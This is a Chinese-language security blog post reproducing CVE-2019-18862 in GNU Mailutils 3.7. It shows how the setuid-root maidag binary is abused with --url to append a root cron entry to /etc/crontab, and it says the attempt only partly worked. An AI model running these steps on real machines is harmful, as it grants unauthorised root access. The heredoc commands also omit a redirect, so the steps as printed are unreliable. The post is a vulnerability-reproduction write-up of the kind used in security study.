Xax007 Security Blog

漏洞详情

# 漏洞名称: GNU Mailutils 3.7 - 本地权限提升漏洞
# 发布日期: 2019-11-06
# 漏洞作者: Mike Gualtieri
# 漏洞程序主页: https://mailutils.org/
# 漏洞程序链接: https://ftp.gnu.org/gnu/mailutils/mailutils-3.7.tar.gz
# 存在漏洞版本: 2.0 <= 3.7
# 测试平台: Gentoo
# CVE 编号: CVE-2019-18862

GNU Mailutils 3.7 Privilege Escalation

漏洞产生原因

Maidag 默认情况下以 setuid(suid)root 权限执行, 通过 --url 参数滥用此特性以 root 权限操作任意文件

漏洞复现

安装 Mailutils:

cd /tmp
wget https://ftp.gnu.org/gnu/mailutils/mailutils-3.7.tar.gz
tar xvf mailutils-3.7.tar.gz
cd mailutils-3.7
./configure
make
sudo make install

在安装该 3.7 版本之前,我 apt install mailutils 安装了 3.4 版本的无法复现此漏洞

cat /tmp/crontab.in << EOF
*/1 * * * * root /tmp/payload.sh
EOF
cat /tmp/payload.sh << EOF
#!/bin/bash
id > /tmp/whatismyid
EOF
chmod +x /tmp/payload.sh

复现之前先查看 /etc/crontab 文件内容

sudo cat /etc/crontab
[sudo] password for ubuntu:
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user	command
17 *	* * *	root    cd / && run-parts --report /etc/cron.hourly
25 6	* * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6	* * 7	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6	1 * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#

开始提权

maidag  --url /etc/crontab < /tmp/crontab.in

再次查看 /etc/crontab 文件内容

tail -n 5 /etc/crontab

From root@ubuntu Tue Nov 26 13:39:54 2019

*/1 * * * * root /tmp/payload.sh

已经成功写入 crontab 项,但是还写入了一行信息: From root@ubuntu Tue Nov 26 13:39:54 2019
导致 crontab 执行出错, 无法执行写入的 crontab payload

我还尝试了对 /etc/passwd/etc/shadow 文件进行操作,均提示没有权限访问